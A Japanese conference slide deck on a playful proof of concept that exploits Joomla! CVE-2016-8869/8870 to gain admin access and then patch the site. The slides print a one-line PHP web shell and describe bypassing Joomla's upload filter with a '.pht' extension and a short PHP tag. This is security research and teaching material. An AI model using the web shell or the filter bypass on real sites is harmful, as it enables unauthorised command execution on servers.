ノリとその場の勢いでPocを作った話

1,114 views

Published on

12/20に#ssmjpにて登壇した際の資料です。
LT中では説明しきれなかった部分を若干つけたししています。

なお、PoCのデモ動画は以下にアップロードしています。
https://youtu.be/OWqBYuExKqo

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
1,114
On SlideShare
0
From Embeds
0
Number of Embeds
94
Actions
Shares
0
Downloads
5
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

ノリとその場の勢いでPocを作った話

  1. 1. ノリとその場の勢いで PoCを作った話 @tigerszk #ssmjp 2016/12/20
  2. 2. 自己紹介 Shun Suzaki(洲崎 俊) ユーザ企業のセキュリティチームに所属する セキュリティエンジニア Twitter: とある診断員@tigerszk • ISOG-J WG1 • Burp Suite Japan User Group • OWASP JAPAN Promotion Team • IT勉強会「#ssmjp」運営メンバー I‘M A CERTAIN PENTESTER! 公開スライドなど http://www.slideshare.net/zaki4649/
  3. 3. Joomla!って知ってます? • 世界でも数多く利用されているオープンソース CMS • PHPで記述されている Joomla! The CMS Trusted By Millions for their Websites : https://www.joomla.org Joomla!でてけとーに作ってみたデモサイト
  4. 4. ちょっと前に危険な脆弱性があると話題に CMSの「Joomla!」に深刻な脆弱性、直ちに更新を http://www.itmedia.co.jp/enterprise/articles/1610/26/news064.html
  5. 5. どんな脆弱性? 1. ユーザ登録時に管理者権限を設定できる (CVE-2016-8869) 1. 参考:http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-005738.html 2. ユーザ登録を許可していない設定でも ユーザ登録が可能(CVE-2016-8870) 参考: http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-005739.html 外部からユーザ作成できない設定にしているにも かかわらず勝手に管理者権限のユーザを作成されて しまう!! combination
  6. 6. 一体何故こんな脆弱性が? • components/com_users/xontrollers/user.php にて 定義されているUsersControllerUser::register()の 値検証に不備が存在するため • UsersControllerUser::register()は現在は使われていない メソッドだがなぜかコードには残っていた • このUsersControllerUser::register()を簡単に 外部から呼び出すことができた • ちなみに脆弱性が修正された ver 3.6.4では本メソッドは 削除されている
  7. 7. #ssmjpのSlackの検証スレで 情報交換しながら脆弱性検証してました
  8. 8. 検証のおかげでわかったことも • 検証の結果、攻撃が成功するかどうかはある程度 Joomla!側の設定に依存することが判明 • 以下設定の場合には本脆弱性により管理者権限 ユーザが作成され、被害を受ける可能あり – New User Account Activation が None と設定されている 場合 – New User Account Activation が Self と設定されており、 Allow User Registration が Yes と設定されている場合 • 危険な脆弱性には違いないが、デフォルト設定の 場合であれば攻撃の被害はうける可能性は低い 参考:とある診断員によるJoomla!の脆弱性検証まとめ http://togetter.com/li/1041878
  9. 9. ま、そんなことは 置いておきまして…
  10. 10. Slack内で実はこんなやりとりがありました
  11. 11. 確かに以前そんな話題がありましたね 1万台ものルーターを何者かが勝手にハックしてセキュリティを高めていたことが 発覚 - GIGAZINE : http://gigazine.net/news/20151002-hacked-routers-secure/
  12. 12. うーん、なにそれ… ちょっと面白そう…
  13. 13. じゃあちょっくら 作ってみっか!w
  14. 14. というわけで、 その場のノリと勢いで そんなPoCを作りました!
  15. 15. 作成するPoCのコンセプト • 脆弱性を利用してJoomla!をセキュアな バージョンにアップデートする • 作成したアカウントはちゃんと 無効化してセキュアな状態にする • どうせならしっかり笑いをいれる
  16. 16. そして作成したものがこちらです 以下にPoCの実行動画をアップロードしています https://youtu.be/OWqBYuExKqo ※なお、動画の編集内容に関しては完全に僕の趣味が入ってます
  17. 17. PoCの実行について (動画の補足説明)
  18. 18. 対象システムの概要 攻撃ターゲットのシステムはUbuntu 16.04.1を利用して構築していま す。ミドルウェアの構成はApache+PHP+Mysqlです。 パッケージインストールで構築して、インストール後は特別コンフィグ の変更などはしていません。 なお動画でも説明がありましたが、動作しているJoomla!は本脆弱性が 存在するバージョンである「3.6.3」を利用しています。
  19. 19. Joomla!の設定 動画内でも説明していますが、フロント側からのユーザ登録は無効として います。 また、本脆弱性を利用して有効なアカウントを作成できるように 「New User Account Activation」の項目を「None」としています。
  20. 20. 有効なユーザアカウント 攻撃前の状態では、デフォルトの管理アカウントである「admin」 というユーザのみが登録されています。
  21. 21. PoCの実行画面 Kali Linux上でPythonで作成したPoCを実行しています。 PoC実行時にはやる夫のアスキーアートがターミナルに表示されます(笑)
  22. 22. 劇的ビフォー・アフター なんということでしょう。 PoC実行後にJoomla!の管理画面にアクセスすると最新版にアップデー トされていることが確認できます。 もちろん脆弱性は修正されているので、当然もう一回やってもPoCは 刺さりません。 再び試す場合にはスナップショットなどによる切り戻しが必要です。 Before After
  23. 23. どうやらやる夫がやったらしい PoC実行前には存在しなかったyaruoというユーザが作成されています。 動画でも説明していますが、管理画面にログインしたログもあるので どうやらやる夫がアップデートしてくれたようです(笑) ちなみに、PoC実行終了後のユーザは有効な状態ですが、「User Groups」 が設定されていない状態なので、管理画面などにはログインできない状態 となっています。
  24. 24. やる夫からのメッセージ YaruoアカウントのUser Noteにやる夫からサイト管理者への ドヤ顔メッセージが記載されています。 ありがとうやる夫! 君のおかげで僕のJoomla!はセキュアになったよ。
  25. 25. PoCの中身
  26. 26. 実はかなり面倒くさいことしている PoCの実行ステータスをみると実はそんな感じの出力がされているのがわかる 脆弱性を利用 してアカウン ト作成 作成した アカウントで ログイン WebShell アップロード WebShellを 利用して コマンド実行 WebShellを 削除 UserNoteに 書き込み アカウントを 無効化 今回のPoCでやっていることの流れ ここでアップデート
  27. 27. 普通にアップデートすれば、、、 「管理者アカウントでログインして、普通にアップデート機能使えば いいじゃん!」って誰でも思いますよね。 そんな風に考えていた時期が俺にもありました。
  28. 28. The めんどくさそう アップデート処理のHTTP通信をBurpとか使って見ていると、なんか 一杯HTTPリクエスト投げてます。 内容を確認すると、シリアライズされた形式のデータをAJAXで送信し ているような感じです。 /media/com_joomlaupdate/js/配下にあるjsファイルの内容を解析 して実装すればイケるのかなと思いましたが、第一印象は正直 「ちょっとめんどくさそうだなコレ」でした。
  29. 29. GUI側の機能なんか使わないで、CUIでパッチ当てればいいじゃんと思 いつきました。 「WebShell経由でOSコマンド叩いてパッチを適用すれば簡単じゃん! こんなアホな企画なんだから少しでも楽をしよう!」 ということでこのような方法をとることにしました。 もし次の機会があれば正攻法の方もトライしてみたいなと思います (あるのかな…)。 で思いついたのが
  30. 30. で、次にぶち当たったのが お次は、管理者アカウント取ってるんだからWebShellのアップロード なんか楽勝だろと思っていたら意外とすんなりいかないという罠が 待ってました。 実は本脆弱性を利用して作成できる権限はJoomla!の中で二番目に強 い「Administrator」の権限であり、一番強い「Super Users」の権限 に比べて若干制限(テンプレートの編集ができなかったり、プラグイ ンがインストールできない)があったりします。 ただ本権限ではコンテンツのアップロードはできるので、その機能を 使ってアップロードすれば余裕でイケそうなのですが…
  31. 31. phpファイルがアップロードできない… なんとJoomla!はアップロードするコンテンツに対して独自に内部で チェックをしているらしく、「<?php」などが記載されたファイルや 「 .php 」 ,「.phtml 」などの拡張子をブロックするような仕様みた いです(今回初めて知ったーよ。)。 Media: Optionsで拡張子を許可するようにする設定をしてもダメです。 これでは折角のwebshellがアップロードできません。 ハイ詰んだ!
  32. 32. チェックをバイパスする方法があった 一瞬お通夜のような雰囲気になりましたが、実はこれをバイパスする テクニックがありました。 UbuntuなどでPHP,Apacheをパッケージインストールした場合の Apacheのコンフィグファイル(php7.0.confなど)には上記のような 記述がされています。 上記は拡張子が「php3」, 「php4」, 「php5」, 「php7」 , 「pht」, 「phtml」であればphpファイルとして解釈される記載となっています。 これを利用して、「pht」などJoomla!側でのブロックをすり抜ける拡 張子設定してファイルをアップロードします。 ちなみに今回の攻撃対象をUbuntuで構築した理由はそういう訳です。 <FilesMatch ".+¥.ph(p[3457]?|t|tml)$"> SetHandler application/x-httpd-php </FilesMatch>
  33. 33. チェックをバイパスする方法があった なお、拡張子を変更しても一般的なPHPの構文で用いる「<?php」が 混じっているとブロックされてしまいます。 こちらについては、短縮構文の形式を利用してコードを記載すること で、本チェックをバイパスすることが可能です。 <?php system($_REQUEST['cmd']); ?> <?=system($_REQUEST['cmd']); 短縮構文一般的な構文
  34. 34. WebShell GETだぜ!! このテクニックを使えば上記のようにWebShellをアップロード可能で す。 WebShellを利用すれば、もはやいうまでもないですが、Webサーバが 動作する権限にてOSコマンドの実行が可能です。 後はやるだけ。
  35. 35. 安心してください!対策されてますよ! ちなみにこのテクニックですが、先日リリースされた3.6.5にてちゃ んと対策されてるようです。 一応自分も試してみましたが、今回のPoCで利用していたWebShell ファイルはブロックされました。 JVNDB-2016-006122 - JVN iPedia - 脆弱性対策情報データベース : http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-006122.html
  36. 36. アカウントの無効化について アカウントを無効化しようとするのも実はちょっと引っかかりました。 Joomla!ではログイン状態のユーザ自身のアカウントの無効化や削除 は出来ないようになってます。(まあ、普通ログインできなくなっ ちゃいそうなので当たり前ですよね) しかしこのままだと、バックドアアカウントが残ったままなので自分 の目的が達成できないので困りました…
  37. 37. なんとかログインできないようにできた 色々試した結果、Batch機能を利用すれば自分自身のユーザアカウント の権限グループを削除することができることが判明しました。ちなみに 実行した際には強制ログアウトさせられ同アカウントではログインでき なくなります。 アカウントを無効化できたようなので、これでなんとか目標達成です!
  38. 38. 一番苦労したのは ぶっちゃけ「やる夫」です。 ご存知の通り、2ちゃんねる系のアスキーアートが基準としている環境は、 16px(12pt)のMS Pゴシック、行間2pxです。 つまりLinuxなどのターミナルでそのままやる夫のアスキーアートを表示する とズレてしまいます。 何とかデフォルトの状態で、やる夫を表示させたいため、アスキーアート⇒画 像化⇒アスキーアート化という手順で、アスキーアートを作成するという、ホ ントに1bitも世の中の役には立たないことに今回取り組みました。 ちなみにこれを#ssmjp運営の@togakushiさんにお伝えたところ「ちょっと 言ってる意味がおかしいっすwww」というお褒めのコメントをいただきまし た。ええ、僕もホントにそう思います。 AA 画像 AA
  39. 39. User Noteについては Joomla!のUser Noteについては検証の結果、<p>を入力可能ことが 判明したので、それを利用して2ちゃんねる系のアスキーアートの やる夫をそのまま表示させています。 ちなみにLinux環境からくずれないようにやる夫を表示させるために デモ環境のKali LinuxにはIPAモナーフォントを導入しました。
  40. 40. もうおわかりかと思いますが、今回の PoC作成はホントにその場のノリと、 個人的な技術的好奇心からただやってみ たかっただけです。 ほんとに中身がないので、ちょっとでも 笑っていただければ幸いです。
  41. 41. まとめ • こんなお馬鹿なPoCのことは ぶっちゃけどうでもいいです • 脆弱性を攻撃されて被害にあわないため にもご自分で適切にアップデート しましょう!
  42. 42. スペシャルサンクス Joomla!の脆弱性検証の際に以下のお二人には 大変お世話になりました。 • @ym405nm • @nordenfelt1211 一緒に情報交換できてメッチャ楽しかったです! ありがとうございました!

×